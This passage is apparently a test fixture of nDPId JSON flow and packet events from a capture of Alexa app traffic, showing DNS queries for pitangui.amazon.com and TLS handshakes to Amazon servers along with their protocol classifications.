/eGeke5CIncjSchiBL01N4TZ9jahbg391sVUtClkEUAKHrihIkzdhyVqersfn3DxO4gotZ5I9UDZsUEl4qC3ue53MMqTkS1Ci\/qrw+Ad5NMh4165vuzlEjy0aKiNltQXJO7j5gcSVoEscGSxHG6dMOKNwf4Up3Qs7lxHyb6tiejvUfoSMs2aMrBbOxpEmaHXkKEsVEFg9XiHf1vjICQx6sh4RBx\/s5eztf4CW9AycWAZfNg85lo+GI4hj85MekiVN1ncXPp4R8QO6+N5EpZMKneOUwyYyHkRvZ45LD3D4dOfJFfrbwHh7CGqrFn5ZWAFlM8ImyXe67WrSTE6c+EmdiqXPg\/oVaa6tsZ4n7wXz52MQRTNC2X+ohX8UJVHZCsK2ANckqFthfh3vR39+0RXxPeeqSi4eqWl8sjNyEOP9oIIKETw8nvAYHAqvb2wjaP75Kfq28tR3NH9eXXpifa5T1nUfGSAyzxSGZQEqKghz6SvwR1mvZHyC5mHjtjL0ecjE35D\/6s\/43Bi6mRC+dGpLGXyrSTinr8idobRjNygtQu8i3Lk3wcYTIouUjrINKMzCNDH0EZQjgq6clLOUJAd7yHWZPAjXGeTlo\/QydSyLg1pPIfnSLvAIEqQCkVuKVtDiKFti2RPV6LsaPptde8PX48W63FZLPVirZELLezwzynJ5XyzDDfPGIr9EQhQk18oicDJMyVzEtp1B88TinkQQuky+YuQtLhQVgPm3epu6cwCwU0S+DcyH3mywRz4eSKcT3p2WzVOzXpcsQBpMeUq+3DM+hUzA6GpEgHwDxkV0nXEfCu6m4mpxeODi25dYdxCO5tK3\/bBMnlLxPF4FMHzLdW5hyMGLdM3tQhZRU69iox8="} +01755{"flow_id":108,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1731,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976108,"pkt_ts_usec":24621,"pkt_caplen":1035,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1035,"pkt_l4_len":1001,"pkt":"ePiC0\/vCAMDKkVoBCABFAAP9wKBAAOcGo4U27x39rBAq2AG7n5iFQRN\/Vi4etFAY\/azu3gAAFwMBA9A6z2yUhFVfLlQnZuXaQN9VWZNaUMZ0bnvgw4USiF4bnJ9pT8vKJ5XalaLI8c9XV\/GexbmG00XMzhIb2b1IBMnBLgEE50bW0sLnFfh\/DDvMNEtciW0K+tqzTA55+Uti8rfq2J04cSiaB6heDmJpscRiXmzI6e2C55w0UJpoOrWqvIptNt1JFGoqHaSm5ybbUq7Ih02bmPLUKRzTZDYJj1C8MIbXQcUfNBVBzLbXGW\/aIzKvEtMayZNZaeaAylSYpeWaNydmZAOkdtgPhZ\/574IqCfmpc8zfhDlh2i4AG1HzlPtGtCvOhuoAXuYyMgf+J97p2NiAtfp\/9XzNJ0IODNNJLy2nGRcTCW67c\/3Pb2latDpQ7Qe+nVhppxb1l4W4C30lZCvGKm661MgzvdYIfOqyi4j65JudSdkyz6guOZ1TUMLABPWKRLJzb9ZMgk2mNW0MYp+KlwYeJ2NwQ7cLdpBliYbG0zVXGNfKlTGwiSSYD0pnNG7WyMasaOACHDtR\/zsnddNZDIPWwQaxBnYqQ6FK+wMx+bhxjT\/+hDE8Qn46FnhkwC0gQXArYxm4HKc6cd\/huLclAL6Ptqy2yVgDy3TZCMAeRx0INQYOtamXmgfRGrF59GHzljX4926b3ztfwLH+vCHizD5E\/rKSSozb0Vwr5qbqzEyHIrTDJHdKgqHgDQWTSSrwratmAmI6W6WU1+qli7P\/j+nmRraWP3I5wdYFRdqouS\/\/thgf4B+rmoYtTkvc\/nZ1VJnBaJZiDn3z14C0QUpI9YWkvBQJm\/YoStyDNUYS+AzcpRGg3LhBLw0vUsZwMGmHSoDd47Oq+k441oJXcdp40VH\/y4NVwkoljYILWBHY96JXZGC\/IAbdEx9pbnbdilSMpRJP6nal8MGyZiZlb7W2iNZ4xQZ\/ZueeOnAj1cVsfwIrNBAwO2nRxXvqr\/nMipR5M2pqh8lE8o7infvMtKmGqAshtdD35hAFuxJJGznwAT4fTjxkRVe8pPaYoA47VXWRcmlxbyKaAEQWo+RfjiF1IJWO5SQQTuNn4uwIbA6R1TJvzSa4UCnRJHXw4dcZ+LnQgIYTsBIqlecgANVmjWaMt0KnXnlwBwaSjK\/qdWBRSq8\/Xn4r3n7pAtCEORANXy\/LH0ya89\/JWOgCgBPhLnj2JtuzkIZWrmaPaJsKVeUYEw8WduGuz5VdbHXBqrk5r6ACHpebJXxTkM7iwbDJyj181zkYDmFRjdAt3nHUqzAAVsK1g64kbuWaB546AByFwDttp1JX0YqbctPPVNc3Ds1Iq637XMWw+oeRi9Aw"} +00447{"flow_id":107,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1812,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976108,"pkt_ts_usec":360248,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8yY9AAEAGRVisECrYNu8d\/Z+XAbtod6HOAAAAAKAC\/\/8G+AAAAgQFtAQCCAoA9mikAAAAAAEDAwg="} +00429{"flow_id":107,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1813,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976108,"pkt_ts_usec":548394,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwt7hAAOcGsDo27x39rBAq2AG7n5d09wMmaHehz3ASH\/4UgAAAAgQFtAEDAwY="} +00417{"flow_id":107,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1814,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976108,"pkt_ts_usec":550030,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoyZBAAEAGRWusECrYNu8d\/Z+XAbtod6HPdPcDJ1AQAVde8QAA"} +00417{"flow_id":107,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1837,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976109,"pkt_ts_usec":912231,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoyZFAAEAGRWqsECrYNu8d\/Z+XAbtod6HPdPcDJ1ARAVde8AAA"} +00423{"flow_id":107,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1842,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976110,"pkt_ts_usec":45422,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo1g1AAOcGke027x39rBAq2AG7n5d09wMnaHeh0FARgADgRQAAAAAAAAAA"} +00416{"flow_id":107,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1847,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976110,"pkt_ts_usec":47667,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoyZJAAEAGRWmsECrYNu8d\/Z+XAbtod6HQdPcDKFAQAVde7wAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1856,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1490976114879,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":20922,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1856,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976114,"pkt_ts_usec":879774,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"AMDKkaPvePiC0\/vCCABFAABBWl1AAEARM1WsECrYrBAqAVG6ADUALQ0pp4sBAAABAAAAAAAACHBpdGFuZ3VpBmFtYXpvbgNjb20AAAEAAQ=="} +00648{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1856,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1490976114879,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":20922,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"pitangui.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_id":109,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1857,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976114,"pkt_ts_usec":880618,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"ePiC0\/vCAMDKkaPvCABFAABR3zxAAEARrmWsECoBrBAq2AA1UboAPYqqp4uBgAABAAEAAAAACHBpdGFuZ3VpBmFtYXpvbgNjb20AAAEAAcAMAAEAAQAAAAoABDRe6IY="} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1857,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":109,"flow_packet_id":2,"flow_first_seen":1490976114879,"flow_last_seen":1490976114880,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":20922,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"pitangui.amazon.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.94.232.134"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1858,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1490976114885,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45728,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1858,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976114,"pkt_ts_usec":885072,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8u1JAAEAGi5ysECrYNF7ohrKgAbstn9BiAAAAAKAC\/\/81rgAAAgQFtAQCCAoA9mswAAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1859,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1490976114894,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45729,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":111,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1859,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976114,"pkt_ts_usec":894065,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA88bJAAEAGVTysECrYNF7ohrKhAbvIHJqDAAAAAKAC\/\/\/RDQAAAgQFtAQCCAoA9msxAAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1860,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1490976114906,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45730,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":112,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1860,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976114,"pkt_ts_usec":906930,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8mqJAAEAGrEysECrYNF7ohrKiAbt67fGQAAAAAKAC\/\/\/HLQAAAgQFtAQCCAoA9msyAAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1861,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1490976114921,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45731,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":113,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1861,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976114,"pkt_ts_usec":921759,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA87MtAAEAGWiOsECrYNF7ohrKjAbuMuIf\/AAAAAKAC\/\/8e8QAAAgQFtAQCCAoA9ms0AAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1862,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1490976114940,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45732,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":114,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1862,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976114,"pkt_ts_usec":940294,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8CnJAAEAGPH2sECrYNF7ohrKkAbvN5GFHAAAAAKAC\/\/8EewAAAgQFtAQCCAoA9ms1AAAAAAEDAwg="} +00428{"flow_id":111,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1863,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":60908,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwcUdAAOcGLrM0XuiGrBAq2AG7sqGNgYNXyByahHASH\/5IZwAAAgQFtAEDAwY="} +00429{"flow_id":110,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1864,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":61052,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwOTtAAOcGZr80XuiGrBAq2AG7sqDRCzchLZ\/QY3ASH\/61sgAAAgQFtAEDAwY="} +00428{"flow_id":112,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1865,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":61096,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwU4dAAOcGTHM0XuiGrBAq2AG7sqKEfV0Neu3xkXASH\/5t1gAAAgQFtAEDAwY="} +00428{"flow_id":113,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1866,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":61168,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwVCVAAOcGS9U0XuiGrBAq2AG7sqOllKPSjLiIAHASH\/5dvwAAAgQFtAEDAwY="} +00428{"flow_id":114,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1868,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":61264,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw30dAAOcGwLI0XuiGrBAq2AG7sqRySquQzeRhSHASH\/5u1gAAAgQFtAEDAwY="} +00415{"flow_id":111,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1869,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":65661,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8bNAAEAGVU+sECrYNF7ohrKhAbvIHJqEjYGDWFAQAVeS2AAA"} +00415{"flow_id":110,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1870,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":65948,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAou1NAAEAGi6+sECrYNF7ohrKgAbstn9Bj0Qs3IlAQAVcAJAAA"} +00415{"flow_id":112,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1871,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":66095,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAomqNAAEAGrF+sECrYNF7ohrKiAbt67fGRhH1dDlAQAVe4RwAA"} +00415{"flow_id":113,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1872,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":66220,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo7MxAAEAGWjasECrYNF7ohrKjAbuMuIgApZSj01AQAVeoMAAA"} +00415{"flow_id":114,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1873,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":66341,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoCnNAAEAGPJCsECrYNF7ohrKkAbvN5GFIckqrkVAQAVe5RwAA"} +00740{"flow_id":111,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1874,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":66464,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEX8bRAAEAGVF+sECrYNF7ohrKhAbvIHJqEjYGDWFAYAVerKQAAFgMBAOoBAADmAwMTUXxa84E2F3pyMjY2W\/V+lEhi9FqJ+EKlZzRwMn7VOCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgGhrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9enoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACFpaAB0AFwAYWloAAQA="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1874,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":111,"flow_packet_id":4,"flow_first_seen":1490976114894,"flow_last_seen":1490976115066,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45729,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00739{"flow_id":110,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1875,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":66590,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXu1RAAEAGir+sECrYNF7ohrKgAbstn9Bj0Qs3IlAYAVf4uwAAFgMBAOoBAADmAwP360WETO0hSDqvk2qAYkKwSgYBIFaAvPrL9FgCIcYj3SCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAg+vrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9SkoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACOrqAB0AFwAYiooAAQA="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1875,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":110,"flow_packet_id":4,"flow_first_seen":1490976114885,"flow_last_seen":1490976115066,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45728,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00739{"flow_id":112,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1876,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":66798,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXmqRAAEAGq2+sECrYNF7ohrKiAbt67fGRhH1dDlAYAVcYsgAAFgMBAOoBAADmAwO2XSVDdXNQjGmQUibPeB5qMKhST7rrpP3BhCu+r5mY3yCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgurrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9KioAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACFpaAB0AFwAYSkoAAQA="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1876,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":112,"flow_packet_id":4,"flow_first_seen":1490976114906,"flow_last_seen":1490976115066,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45730,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00741{"flow_id":113,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1877,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":66928,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEX7M1AAEAGWUasECrYNF7ohrKjAbuMuIgApZSj01AYAVdJYgAAFgMBAOoBAADmAwN\/4n78\/jPCxa1OijX2MR8fx7sU0O7ARqXBjxgvMTAhtiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgenrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9enoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACOrqAB0AFwAY+voAAQA="} 